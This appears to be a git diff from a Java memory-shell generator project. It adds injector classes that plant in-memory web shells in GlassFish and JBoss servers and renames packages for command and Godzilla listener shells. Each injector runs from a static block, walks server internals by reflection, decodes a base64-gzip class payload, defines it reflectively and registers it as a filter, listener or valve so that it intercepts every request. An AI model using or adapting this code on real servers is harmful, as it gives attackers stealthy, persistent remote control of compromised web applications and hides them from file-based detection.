com.reajason.javaweb.memshell.glassfish.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.logging.Logger; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class GlassFishFilterInjector { + Logger log = Logger.getLogger(GlassFishFilterInjector.class.getName()); + + static { + new GlassFishFilterInjector(); + } + + public GlassFishFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getShell(context); + inject(context, filter); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + Map children = (Map) getFieldValue(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) { + contexts.add(context); + } + } + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("unchecked") + public void inject(Object context, Object filter) throws Exception { + String filterName = getClassName(); + if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { + log.warning("filter already exists"); + return; + } + Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); + try { + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception e) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + constructors[0].setAccessible(true); + Object filterConfig = constructors[0].newInstance(context, filterDef); + HashMap filterConfigs = (HashMap) getFieldValue(context, "filterConfigs"); + filterConfigs.put(filterName, filterConfig); + log.info("filter added successfully"); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishListenerInjector.java new file mode 100644 index 00000000..410b8afd --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishListenerInjector.java @@ -0,0 +1,185 @@ +package com.reajason.javaweb.memshell.glassfish.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.EventListener; +import java.util.List; +import java.util.Map; +import java.util.logging.Logger; +import java.util.zip.GZIPInputStream; + + +/** + * @author ReaJason + */ +public class GlassFishListenerInjector { + static { + new GlassFishListenerInjector(); + } + + Logger log = Logger.getLogger(GlassFishListenerInjector.class.getName()); + + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public GlassFishListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getShell(context); + inject(context, listener); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + Map children = (Map) getFieldValue(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) { + contexts.add(context); + } + } + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("all") + public void inject(Object context, Object listener) throws Exception { + List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners", null, null); + boolean isExist = false; + for (EventListener eventListener : eventListeners) { + if (eventListener.getClass().getName().equals(listener.getClass().getName())) { + isExist = true; + break; + } + } + if (!isExist) { + log.info("listener added successfully"); + eventListeners.add((EventListener) listener); + } else { + log.warning("listener already exists"); + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishValveInjector.java new file mode 100644 index 00000000..76e1d505 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishValveInjector.java @@ -0,0 +1,187 @@ +package com.reajason.javaweb.memshell.glassfish.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class GlassFishValveInjector { + + static { + new GlassFishValveInjector(); + } + + public GlassFishValveInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object valve = getShell(context); + inject(context, valve); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + Map children = (Map) getFieldValue(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) { + contexts.add(context); + } + } + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("all") + public boolean isInjected(Object pipeline) throws Exception { + Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); + List valvesList = Arrays.asList(valves); + for (Object valve : valvesList) { + if (valve.getClass().getName().contains(getClassName())) { + return true; + } + } + return false; + } + + @SuppressWarnings("all") + public void inject(Object context, Object valve) throws Exception { + Object pipeline = invokeMethod(context, "getPipeline", null, null); + if (isInjected(pipeline)) { + System.out.println("valve already injected"); + return; + } + Class valveClass; + String valveClassName = "org.apache.catalina.Valve"; + valveClass = context.getClass().getClassLoader().loadClass(valveClassName); + invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/command/CommandListener.java similarity index 97% rename from generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/jboss/command/CommandListener.java index 6d77a44b..22ea40dd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/command/CommandListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.tomcat.command; +package com.reajason.javaweb.memshell.jboss.command; import javax.servlet.ServletOutputStream; import javax.servlet.ServletRequestEvent; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/godzilla/GodzillaListener.java similarity index 99% rename from generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/jboss/godzilla/GodzillaListener.java index a71e63c2..7bd01544 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/godzilla/GodzillaListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.jboss.godzilla; +package com.reajason.javaweb.memshell.jboss.godzilla; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossFilterInjector.java new file mode 100644 index 00000000..aa104ab8 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossFilterInjector.java @@ -0,0 +1,203 @@ +package com.reajason.javaweb.memshell.jboss.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + + +/** + * @author ReaJason + */ +public class JbossFilterInjector { + + static { + new JbossFilterInjector(); + } + + public JbossFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getShell(context); + inject(context, filter); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + Map children = (Map) getFieldValue(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + } + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("all") + public void inject(Object context, Object filter) throws Exception { + String filterClassName = getClassName(); + if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) { + return; + } + Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); + Constructor[] constructors; + invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + try { + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception e) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + + constructors[0].setAccessible(true); + try { + Object filterConfig = constructors[0].newInstance(context, filterDef); + Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); + filterConfigs.put(filterClassName, filterConfig); + } catch (Exception e) { + // 多个应用部分应用通过上下文线程加载 filter 对象,可能在目标应用会加载不到 + if (!(e.getCause() instanceof ClassNotFoundException)) { + throw e; + } + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossListenerInjector.java new file mode 100644 index 00000000..8c2b5587 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossListenerInjector.java @@ -0,0 +1,217 @@ +package com.reajason.javaweb.memshell.jboss.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + + +/** + * @author ReaJason + */ +public class JbossListenerInjector { + + static { + new JbossListenerInjector(); + } + + public JbossListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getShell(context); + inject(context, listener); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + Map children = (Map) getFieldValue(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + } + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("all") + public void inject(Object context, Object listener) throws Exception { + if (this.isInjected(context)) { + return; + } + String filedName = "applicationEventListenersObjects"; + Object applicationEventListenersObjects = getFieldValue(context, filedName); + if (applicationEventListenersObjects == null) { + filedName = "applicationEventListenersInstances"; + applicationEventListenersObjects = getFieldValue(context, filedName); + } + if (applicationEventListenersObjects != null) { + Object[] appListeners = (Object[]) applicationEventListenersObjects; + if (appListeners != null) { + List appListenerList = new ArrayList(Arrays.asList(appListeners)); + appListenerList.add(listener); + setFieldValue(context, filedName, appListenerList.toArray()); + } + } else if (getFieldValue(context, "applicationEventListenersList") != null) { + List appListeners = (List) getFieldValue(context, "applicationEventListenersList"); + if (appListeners != null) { + appListeners.add(listener); + } + } + } + + @SuppressWarnings("all") + public boolean isInjected(Object context) throws Exception { + Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null); + List listeners = Arrays.asList(objects); + List arrayList = new ArrayList(listeners); + for (Object o : arrayList) { + if (o.getClass().getName().contains(getClassName())) { + return true; + } + } + return false; + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + static Object getFieldValue(Object obj, String fieldName) throws Exception { + try { + Field field = getField(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } catch (Exception e) { + return null; + } + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java similarity index 97% rename from generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java index b5d81567..82d06857 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.jetty.command; +package com.reajason.javaweb.memshell.jetty.command; import javax.servlet.ServletOutputStream; import javax.servlet.ServletRequestEvent; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java similarity index 99% rename from generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaListener.java rename 